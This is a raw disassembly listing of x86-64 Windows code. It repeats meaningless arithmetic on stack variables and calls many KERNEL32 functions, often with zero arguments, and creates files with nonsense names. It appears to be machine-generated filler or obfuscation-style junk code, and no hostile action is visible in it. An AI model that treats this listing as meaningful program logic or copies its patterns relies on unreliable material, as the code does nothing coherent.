mov rcx, qword [rsp + 0xa120]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc8c], ax
mov rax, qword [0x1401e7430]
movzx eax, word [rax]
mov word [rsp + 0xdec], ax
lea rdx, [rsp + 0x282d0]
mov rcx, qword [rsp + 0x9890]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x45e8], eax
movsx eax, word [rsp + 0xd78]
mov rcx, qword [rsp + 0x9ef0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd98], ax
mov rax, qword [rsp + 0x8f90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9438]
mov qword [rsp + 0xa2a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa2a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4458], eax
mov edx, 0x201f
mov rcx, qword [rsp + 0x9fd0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4650], eax
mov rax, qword [rsp + 0x9850]
mov rax, qword [rax]
mov qword [rsp + 0xa2b0], rax
mov rax, qword [rsp + 0x97a8]
mov ecx, dword [rsp + 0x452c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4340], eax
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
mov qword [rsp + 0xa2b8], rax
lea rax, [rsp + 0x58]
mov qword [0x1401e7628], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x9f
mov r9d, 0x2ad9
mov r8d, 0x4d0720b2
mov edx, 1
mov rcx, qword [rsp + 0x9b90]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4500], eax
mov rax, qword [0x1401e7578]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9fc0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc0c], ax
lea rax, [rsp + 0xc3]
mov qword [rsp + 0xa2c0], rax
movsx eax, byte [rsp + 0xc4]
movsx ecx, byte [rsp + 0xb7]
sub eax, ecx
mov byte [rsp + 0x5b], al
mov rax, qword [0x1401e74e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc6c], ax
mov rax, qword [rsp + 0x9cb0]
mov rax, qword [rax]
mov qword [rsp + 0xa2c8], rax
mov rax, qword [rsp + 0x9ad0]
mov ecx, dword [0x1401e741c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x44cc], eax
mov rax, qword [rsp + 0xa1a0]
mov qword [rsp + 0xa2d0], rax
mov rax, qword [rsp + 0x9fa8]
imul eax, dword [rax], 0xaaad
mov rcx, qword [rsp + 0x9180]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0xcc0]
movzx ecx, word [0x1401e6064]
sub eax, ecx
mov word [0x1401e6010], ax
mov rax, qword [rsp + 0x9d20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbd]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe8]
mov byte [rcx], al
movzx eax, word [rsp + 0xce0]
mov word [rsp + 0xdf0], ax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7b], al
mov rcx, qword [rsp + 0xa1a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x44a0], eax
lea rcx, [rsp + 0x26878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0xa1]
mov qword [rsp + 0xa2d8], rax
mov rax, qword [rsp + 0x97f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bb0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4458]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4494], eax
lea rax, [rsp + 0x4244]
mov qword [rsp + 0xa2e0], rax
mov rax, qword [rsp + 0x9550]
mov rcx, qword [rsp + 0x90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9c10]
mov qword [rcx], rax
movzx eax, word [rsp + 0xca0]
mov rcx, qword [0x1401e7430]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7590], ax
lea rax, [rsp + 0xc4]
mov qword [rsp + 0xa2e8], rax
movzx eax, byte [rsp + 0x7a]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xae], al
mov rax, qword [0x1401e7570]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd38]
or eax, ecx
mov word [rsp + 0xc88], ax
lea rax, [rsp + 0xc4]
mov qword [rsp + 0xa2f0], rax
mov rax, qword [rsp + 0x8cd0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x43e0]
shl eax, cl
mov dword [rsp + 0x41b8], eax
mov rax, qword [rsp + 0x9cb0]
mov rax, qword [rax]
mov qword [rsp + 0xa2f8], rax
mov rax, qword [rsp + 0x9360]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9800]
shr rax, cl
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
lea rax, [rsp + 0x4674]
mov qword [rsp + 0xa300], rax
mov rax, qword [rsp + 0x93d8]
movzx eax, byte [rax]
mov byte [0x1401e746c], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:cookery_adducesWhales
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa308], rax
mov rcx, qword [rsp + 0x90d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4578], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xa140], rax
movsx eax, word [0x1401e608c]
movsx ecx, word [rsp + 0xd64]
xor eax, ecx
mov word [rsp + 0xc3c], ax
lea rcx, [rsp + 0x25598]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x99b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5e]
and eax, ecx
mov rcx, qword [rsp + 0x9240]
mov byte [rcx], al
lea rax, [rsp + 0xd00]
mov qword [rsp + 0xa310], rax
movzx eax, byte [rsp + 0xb8]
movzx ecx, byte [rsp + 0x9e]
sub eax, ecx
mov rcx, qword [rsp + 0xa188]
mov byte [rcx], al
mov rax, qword [rsp + 0x9850]
mov rax, qword [rax]
mov qword [rsp + 0xa318], rax
mov rax, qword [rsp + 0xa000]
mov rcx, qword [rsp + 0x9e00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ff8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9a10]
mov ecx, dword [rsp + 0x4418]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0x9780]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8cf8], rax
lea rax, [rsp + 0x4618]
mov qword [rsp + 0xa320], rax
mov rax, qword [rsp + 0x9000]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96b8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401e7530]
mov word [rcx], ax
lea rcx, [rsp + 0x29ea0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4610], eax
movsx eax, word [rsp + 0xd00]
movsx ecx, word [rsp + 0xd8c]
add eax, ecx
mov word [rsp + 0xb68], ax
lea rax, [rsp + 0x90]
mov qword [rsp + 0xa328], rax
movzx ecx, word [rsp + 0xdb0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdf4], ax
movzx eax, byte [rsp + 0x7d]
movzx ecx, byte [rsp + 0xbc]
add eax, ecx
mov byte [rsp + 0x98], al
movzx eax, word [rsp + 0xc84]
mov rcx, qword [rsp + 0x91e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcac], ax
mov rax, qword [rsp + 0x9270]
mov eax, dword [rax]
mov dword [rsp + 0x467c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0xa118]
mov rcx, qword [rsp + 0x9188]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bd8], rax
mov rax, qword [rsp + 0x9098]
mov rax, qword [rax]
mov qword [rsp + 0xa330], rax
mov rax, qword [rsp + 0x92f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4534]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9e38]
mov dword [rcx], eax
movzx eax, byte [0x1401e604e]
movzx ecx, byte [rsp + 0x58]
or eax, ecx
mov byte [0x1401e6052], al
lea rax, [rsp + 0xd1c]
mov qword [rsp + 0xa338], rax
mov rax, qword [rsp + 0x99d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1e8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9d18]
mov word [rcx], ax
mov rax, qword [rsp + 0x9240]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9838]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov word [rsp + 0xdf8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0x9df0]
mov rcx, qword [rsp + 0x9d10]
mov qword [rsp + 0xa340], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa340]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9f60], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xdb0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb90], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x28f1
mov rcx, qword [rsp + 0x9970]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4680], eax
mov rax, qword [0x1401e7410]
mov qword [rsp + 0xa348], rax
mov eax, dword [rsp + 0x4204]
mov ecx, dword [rsp + 0x4634]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x44dc], eax
mov rcx, qword [rsp + 0x9f10]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x43a0], eax
mov rax, qword [rsp + 0x90f0]
mov rcx, qword [rsp + 0x9bf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44fc], eax
mov rax, qword [0x1401e75c0]
movzx eax, word [rax]
mov word [rsp + 0xdfc], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xb6af
mov rcx, qword [rsp + 0x9410]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4438], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:SlabsmitosisRelyingPanned
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa350], rax
lea rdx, [rsp + 0x9c60]
mov rcx, qword [rsp + 0x9f10]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x460c], eax
movzx eax, byte [rsp + 0x68]
movzx ecx, byte [rsp + 0x9e]
add eax, ecx
mov rcx, qword [0x1401e75d0]
mov byte [rcx], al
lea rdx, [rsp + 0x4430]
mov rcx, qword [rsp + 0x9b90]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4684], eax
mov rcx, qword [rsp + 0x9b48]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0xb6]
movsx ecx, byte [0x1401e741a]
add eax, ecx
mov byte [rsp + 0x5e], al
movzx eax, word [rsp + 0xd48]
mov word [rsp + 0xe00], ax
movzx eax, byte [rsp + 0x7d]
mov rcx, qword [rsp + 0x94a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa188]
mov byte [rcx], al
mov rax, qword [rsp + 0x90d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9700]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9160], rax
mov rax, qword [rsp + 0x9af8]
mov qword [rsp + 0xa358], rax
mov eax, dword [rsp + 0x4464]
mov ecx, dword [rsp + 0x44cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x450c], eax
mov rcx, qword [rsp + 0xa030]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x41e0], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa360], rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x45d8], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x627b
mov rcx, qword [rsp + 0x9848]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x43e4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x4520]
mov qword [rsp + 0xa368], rax
mov r9d, 1
lea r8, [rsp + 0x8c48]
mov rdx, qword [rsp + 0x8e48]
mov rcx, qword [rsp + 0x9510]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x43c0], eax
mov rax, qword [0x1401e7530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9c90]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9fd8]
mov word [rcx], ax
lea rax, [rsp + 0x5c]
mov qword [0x1401e7630], rax
mov rax, qword [rsp + 0x9e68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcf0]
sub eax, ecx
mov rcx, qword [rsp + 0x9060]
mov word [rcx], ax
lea rax, [rsp + 0xbd]
mov qword [rsp + 0xa370], rax
mov rax, qword [rsp + 0x99d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x90f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9da0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9550]
mov rax, qword [rax]
mov qword [rsp + 0xa378], rax
mov eax, dword [rsp + 0x465c]
movzx ecx, al
mov eax, dword [0x1401e741c]
shl eax, cl
mov dword [rsp + 0x43d4], eax
mov eax, dword [rsp + 0x42d4]
mov dword [rsp + 0x4688], eax
mov rax, qword [rsp + 0x9098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9348]
mov qword [rsp + 0xa380], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa380]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa1a0], rax
mov rax, qword [0x1401e7430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9fd8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc24], ax
mov rax, qword [rsp + 0x9da0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a50]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e6074], ax
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0xcc], al
mov r9d, 0x12b4
xor r8d, r8d
lea rdx, [rsp + 0x9870]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x468c], eax
mov rax, qword [rsp + 0x9df8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a28]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb2], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
movzx eax, word [rsp + 0xd78]
mov word [rsp + 0xe04], ax
mov rax, qword [rsp + 0x8c78]
mov rcx, qword [rsp + 0xa158]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4484], eax
mov rax, qword [rsp + 0x92f0]
mov rcx, qword [rsp + 0x8ff8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96a8]
mov qword [rcx], rax
lea rax, [rsp + 0x4280]
mov qword [rsp + 0xa388], rax
mov rax, qword [rsp + 0x9370]
mov rcx, qword [rsp + 0x9ec8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9d70]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
movzx eax, word [0x1401e7494]
mov word [rsp + 0xe08], ax
movzx eax, word [rsp + 0xdc8]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6098], ax
movsx eax, byte [rsp + 0x94]
mov rcx, qword [0x1401e74a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9d68]
mov byte [rcx], al
mov rax, qword [rsp + 0x9b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5e]
and eax, ecx
mov byte [rsp + 0xc3], al
mov rax, qword [rsp + 0x9930]
movzx eax, byte [rax]
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x9f80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa100]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb8], al
mov rax, qword [rsp + 0x8c70]
mov qword [rsp + 0xa390], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8d98], rax
mov rax, qword [rsp + 0x8e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d38]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9668], rax
mov rax, qword [0x1401e6020]
mov rcx, qword [rsp + 0x9ce8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9360]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c08]
mov eax, dword [rax]
mov dword [rsp + 0x4690], eax
lea rax, [rsp + 0xc2]
mov qword [0x1401e7638], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x9870]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9b28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x99d8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x94d8]
mov word [rcx], ax
lea rcx, [rsp + 0x25548]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rax, [rsp + 0xcb4]
mov qword [rsp + 0xa398], rax
lea rdx, [rsp + 0x4694]
mov rcx, qword [rsp + 0xa130]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0x9060]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbb4]
cdq
idiv ecx
mov word [rsp + 0xb9c], ax
mov ecx, MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4460], eax
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0xa390]
movzx ecx, al
mov rax, qword [0x1401e7410]
shl rax, cl
mov rcx, qword [rsp + 0x9f38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97d8]
mov qword [rsp + 0xa3a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa3a0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xa238]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d58]
mov eax, dword [rax]
mov dword [rsp + 0x4698], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x92e0], rax
lea rdx, [rsp + 0x280d8]
mov rcx, qword [rsp + 0x9148]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x469c], eax
mov rax, qword [rsp + 0x92f8]
mov rcx, qword [rsp + 0xa068]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x442c], eax
lea rcx, [rsp + 0x267e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
movzx eax, byte [rsp + 0x68]
movzx ecx, byte [rsp + 0x85]
and eax, ecx
mov byte [0x1401e743e], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
lea rax, [rsp + 0xb6]
mov qword [rsp + 0xa3a8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa3b0], rax
mov rax, qword [0x1401e75a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdf8]
add eax, ecx
mov word [rsp + 0xcc0], ax
mov rax, qword [rsp + 0x9760]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa310]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c30]
mov word [rcx], ax
lea rax, [rsp + 0x5d]
mov qword [rsp + 0xa3b8], rax
mov rax, qword [rsp + 0x9370]
mov rcx, qword [rsp + 0x9a38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9f88], rax
mov rax, qword [rsp + 0x9160]
mov qword [rsp + 0xa3c0], rax
mov eax, dword [0x1401e6018]
mov ecx, dword [rsp + 0x45a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x443c], eax
mov rax, qword [rsp + 0xa048]
mov ecx, dword [rsp + 0x4394]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9b80]
mov dword [rcx], eax
lea rax, [rsp + 0xb84]
mov qword [0x1401e7640], rax
mov rax, qword [rsp + 0x9e40]
movzx eax, byte [rax]
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0xa310]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcd8]
add eax, ecx
mov rcx, qword [rsp + 0x9dd8]
mov word [rcx], ax
lea rcx, [rsp + 0x29fe0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x43a0], eax
mov r9d, 0xa92
xor r8d, r8d
lea rdx, [rsp + 0x9870]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4480], eax
lea rax, [rsp + 0xaa]
mov qword [rsp + 0xa3c8], rax
mov rax, qword [rsp + 0x9250]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdbc]
imul eax, ecx
mov word [rsp + 0xd18], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xa3d0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf441
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x451c], eax
mov edx, 0x113c34
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4454], eax
lea rax, [0x1401e7420]
mov qword [rsp + 0xa3d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa3e0], rax
mov rax, qword [rsp + 0x9e28]
mov rcx, qword [rsp + 0xa1d0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9090]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ac0]
mov ecx, dword [rsp + 0x4380]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43e8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9478], rax
lea rax, [0x1401e6014]
mov qword [rsp + 0xa3e8], rax
movzx eax, byte [rsp + 0xb8]
movzx ecx, byte [rsp + 0x74]
xor eax, ecx
mov byte [0x1401e601c], al
movzx eax, word [rsp + 0xc84]
movzx ecx, word [rsp + 0xbb4]
sar eax, cl
mov rcx, qword [rsp + 0x9818]
mov word [rcx], ax
mov rax, qword [rsp + 0xa1e8]
movzx eax, word [rax]
mov word [rsp + 0xe0c], ax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9cc0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0x9368]
movzx eax, byte [rax]
mov rcx, qword [0x1401e7518]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x9ec8]
mov rax, qword [rax]
mov qword [rsp + 0xa3f0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0x9a10]
mov rcx, qword [rsp + 0xa210]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x90f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x93f0]
mov rax, qword [rax]
mov qword [rsp + 0xa3f8], rax
mov rax, qword [rsp + 0xa158]
mov rcx, qword [rsp + 0x9e58]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0x9c50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9f48]
movzx eax, byte [rax]
mov byte [0x1401e746d], al
lea rcx, [rsp + 0x254d0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x46a0], eax
lea rdx, [rsp + 0x281f0]
mov rcx, qword [rsp + 0xa1f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4500], eax
movzx eax, word [rsp + 0xc58]
movzx ecx, word [rsp + 0xb94]
and eax, ecx
mov word [rsp + 0xd18], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x8eb8]
movzx eax, word [rax]
mov word [rsp + 0xe10], ax
movzx eax, byte [rsp + 0xbe]
mov rcx, qword [rsp + 0xa270]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xab], al
lea rax, [rsp + 0x79]
mov qword [rsp + 0xa400], rax
mov rax, qword [rsp + 0x9088]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ac0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9b40]
mov ecx, dword [rsp + 0x443c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9a78]
mov dword [rcx], eax
lea rax, [rsp + 0x9288]
mov qword [rsp + 0xa408], rax
mov rax, qword [rsp + 0x96f0]
mov rcx, qword [rsp + 0x9680]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9128], rax
movsx eax, word [rsp + 0xd90]
mov rcx, qword [rsp + 0x9cd8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e6060], ax
mov rax, qword [rsp + 0x9838]
movzx eax, byte [rax]
mov byte [rsp + 0xd0], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4374], eax
movzx eax, word [rsp + 0xcf4]
movzx ecx, word [rsp + 0xc8c]
add eax, ecx
mov word [rsp + 0xca8], ax
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0xd1], al
movzx ecx, word [rsp + 0xd5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc54], ax
lea rcx, [rsp + 0x9600]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa410], rax
movsx eax, word [rsp + 0xd20]
mov rcx, qword [rsp + 0x99d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov word [rcx], ax
mov rax, qword [rsp + 0x9360]
mov rax, qword [rax]
mov rcx, qword [0x1401e6008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f68], rax
mov rax, qword [rsp + 0x9a30]
mov eax, dword [rax]
mov dword [rsp + 0x46a4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0x9e78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa168]
sar rax, cl
mov rcx, qword [rsp + 0x9810]
mov qword [rcx], rax
lea rax, [0x1401e741c]
